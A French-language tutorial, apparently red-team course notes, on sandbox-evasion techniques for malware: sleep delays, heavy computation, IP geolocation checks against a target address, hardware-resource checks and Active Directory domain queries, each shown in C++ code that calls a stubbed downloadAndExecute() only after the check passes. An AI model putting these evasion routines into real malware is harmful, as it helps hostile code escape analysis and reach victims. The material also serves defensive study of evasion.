📦Sandbox

Une Sandbox est essentiellement une machine virtuelle isolée qui reproduit une partie ou l'ensemble d'un environnement informatique réel. Elle permet d'exécuter des applications potentiellement dangereuses tout en capturant leurs interactions avec le système d'exploitation et les fichiers.


🛌 Sleeping through Sandboxes

⏳ Contraintes de temps

Utiliser des techniques pour retarder l'exécution du code malveillant jusqu'à ce qu'il soit hors de la fenêtre de surveillance des Sandbox

📈 Calculs complexes et lourds

Une autre méthode consiste à effectuer des calculs complexes et lourds, comme le calcul de la suite de Fibonacci jusqu'à un certain nombre. La durée de cette méthode varie en fonction du matériel du système.

👨‍💻 Pour aller plus loin

Exemples

Sleeping through Sandboxes

#include <iostream>
#include <Windows.h>
using namespace std;

int main() {
    // Exemple de retard d'exécution de 120 secondes (2 minutes)
    Sleep(120000);
    
    // Code malveillant à exécuter après le délai
    downloadAndExecute();
    
    return 0;
}

⏳ Calculs complexes et lourds

Une autre méthode efficace consiste à effectuer des calculs complexes, comme le calcul de la suite de Fibonacci, pour ralentir l'exécution. Cela permet de prolonger le temps d'exécution au-delà des limites typiques des Sandboxes.

#include <iostream>
using namespace std;

// Fonction pour calculer la suite de Fibonacci
int fibonacci(int n) {
    if (n <= 1) return n;
    return fibonacci(n-1) + fibonacci(n-2);
}

int main() {
    // Exemple de calcul de Fibonacci jusqu'à 40
    int result = fibonacci(40);
    
    // Code malveillant à exécuter après le calcul
    downloadAndExecute();
    
    return 0;
}

🌍 Géolocalisation

📍 Localisation des Sandboxes

Un facteur déterminant des Sandboxes est qu'elles sont souvent situées hors site et hébergées par des fournisseurs d'antivirus. Si vous savez que vous attaquez une entreprise européenne, et que votre binaire est exécuté en Californie, vous pouvez supposer raisonnablement que le binaire a fini dans une Sandbox.

Vous pouvez choisir d'implémenter un filtre de géolocalisation dans votre programme qui vérifie si le bloc d'adresse IP appartient à l'entreprise que vous ciblez ou s'il provient d'un espace d'adresse résidentielle.

🛠️ Services de vérification

Il existe plusieurs services que vous pouvez utiliser pour vérifier cette information :

ifconfig.me peut être utilisé pour récupérer votre adresse IP actuelle, avec des informations supplémentaires en option. En combinant cela avec , vous pouvez déterminer le fournisseur d'accès internet (ISP) retourné dans un format facile à analyser (JSON).

⚠️ Accès Internet et Restrictions

Il est important de noter que cette méthode ne fonctionnera que si l'hôte a accès à Internet.

Exemple

#include <iostream>
#include <Windows.h>
#include <winhttp.h>
using namespace std;

BOOL checkIP() {
    const char* websiteURL = "https://ifconfig.me/ip";
    HINTERNET hInternet = InternetOpenA("User-Agent", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
    HINTERNET hConnect = InternetOpenUrlA(hInternet, websiteURL, NULL, 0, INTERNET_FLAG_RELOAD, 0);
    
    char buffer[256];
    DWORD bytesRead;
    string s;
    
    while (InternetReadFile(hConnect, buffer, sizeof(buffer), &bytesRead) && bytesRead > 0) {
        s.append(buffer, bytesRead);
    }
    
    InternetCloseHandle(hConnect);
    InternetCloseHandle(hInternet);
    
    // Comparaison de l'IP obtenue avec l'IP cible (VICTIM_IP)
    if (s == "VICTIM_IP") {
        return TRUE;
    } else {
        return FALSE;
    }
}

int main() {
    if (checkIP() == TRUE) {
        downloadAndExecute();
    } else {
        cout << "HTTP/418 - I'm a Teapot!";
    }
    
    return 0;

💻 Vérification des Informations Système

Les Sandboxes ont souvent des ressources limitées. Par exemple, Any.Run alloue seulement 1 cœur de CPU et 4 Go de RAM par machine virtuelle. La plupart des postes de travail ont généralement 2 à 8 cœurs de CPU, 8 à 32 Go de RAM et plus d'espace disque.

📋 Informations à Vérifier

  • Nombre de cœurs CPU

  • Quantité de RAM

  • Taille du disque

🛠️ Autres Critères Possibles

  • Numéro de série du disque

  • Nom d'hôte du PC

  • Version/numéro de série du BIOS/UEFI

  • Clé de produit Windows/version de l'OS

  • Informations sur l'adaptateur réseau

  • Vérifications de virtualisation

  • Utilisateur connecté

En utilisant ces informations, vous pouvez adapter votre code pour détecter un environnement de Sandbox.

Exemples

#include <iostream>  // Bibliothèque pour les entrées/sorties
#include <Windows.h>  // Bibliothèque Windows pour accéder aux fonctions système
using namespace std;  // Utilisation de l'espace de noms standard

// Fonction pour vérifier les informations système
BOOL checkSystemInfo() {
    SYSTEM_INFO sysInfo;  // Structure pour stocker les informations système
    GetSystemInfo(&sysInfo);  // Appel à la fonction Windows GetSystemInfo pour récupérer les informations système
    
    // Récupération du nombre de cœurs CPU
    int numCores = sysInfo.dwNumberOfProcessors;
    
    // Récupération de la quantité de RAM en Go (en divisant par 1024 trois fois pour convertir en GiB)
    MEMORYSTATUSEX memInfo;
    memInfo.dwLength = sizeof(memInfo);
    GlobalMemoryStatusEx(&memInfo);
    int ramInGB = memInfo.ullTotalPhys / 1024 / 1024 / 1024;
    
    // Comparaison avec des seuils typiques de ressources sur un poste de travail
    if (numCores > 1 && ramInGB > 4) {
        return TRUE;  // Retourne TRUE si les ressources semblent supérieures à celles d'une Sandbox
    } else {
        return FALSE;  // Retourne FALSE sinon
    }
}

int main() {
    if (checkSystemInfo() == TRUE) {  // Vérifie les informations système
        downloadAndExecute();  // Fonction hypothétique pour télécharger et exécuter du code malveillant
    } else {
        cout << "Sandbox Environment Detected!";  // Affiche un message si un environnement de Sandbox est détecté
    }
    
    return 0;  // Termine le programme
}

🌐 Interrogation des Informations Réseau

Cette méthode est la plus ouverte et la plus avancée que nous aborderons. Elle implique principalement l'interrogation d'informations sur le domaine Active Directory.

🏢 Vérification de l'Appartenance au Domaine

Presque aucune Sandbox de logiciels malveillants n'est jointe à un domaine. Ainsi, si une machine n'est pas jointe à un domaine, il est relativement sûr de supposer que ce n'est pas la cible appropriée. Cependant, il est prudent de collecter des informations sur le domaine pour être sûr.

📋 Objets à Interroger

Il existe de nombreux objets que vous pouvez interroger :

  • Ordinateurs

  • Comptes utilisateur

  • Dernières connexions utilisateur

  • Groupes

  • Administrateurs de domaine

  • Administrateurs d'entreprise

  • Contrôleurs de domaine

  • Comptes de service

  • Serveurs DNS

Exemples

Interroger les informations sur le domaine Active Directory peut indiquer la présence d'une Sandbox.

#include <iostream>  // Bibliothèque pour les entrées/sorties
#include <Windows.h>  // Bibliothèque pour les fonctions Windows
#include <lm.h>  // Bibliothèque pour les fonctions de gestion de réseau
#pragma comment(lib, "Netapi32.lib")  // Spécifie que le linker doit inclure Netapi32.lib
using namespace std;  // Espace de noms standard

// Fonction pour vérifier si le système est un contrôleur de domaine
BOOL isDomainController() {
    LPCWSTR dcName;  // Pointeur vers une chaîne de caractères large (LPCWSTR) pour le nom du contrôleur de domaine
    NetGetDCName(NULL, NULL, (LPBYTE*)&dcName);  // Appel de la fonction Windows NetGetDCName pour récupérer le nom du contrôleur de domaine
    
    wstring ws(dcName);  // Conversion du LPCWSTR en wstring pour manipulation
    string dcNewName(ws.begin(), ws.end());  // Conversion du wstring en string
    
    // Vérification si le nom du contrôleur de domaine contient "\\"
    if (dcNewName.find("\\\\") != string::npos) {
        return TRUE;  // Retourne TRUE si un contrôleur de domaine est trouvé
    } else {
        return FALSE;  // Retourne FALSE si aucun contrôleur de domaine n'est trouvé
    }
}

int main() {
    if (isDomainController() == TRUE) {  // Vérifie si le système est un contrôleur de domaine
        downloadAndExecute();  // Appelle la fonction pour télécharger et exécuter le code malveillant
    } else {
        cout << "Domain Controller Not Found!";  // Affiche un message si aucun contrôleur de domaine n'est trouvé
    }
    
    return 0;  // Termine le programme
}

Last updated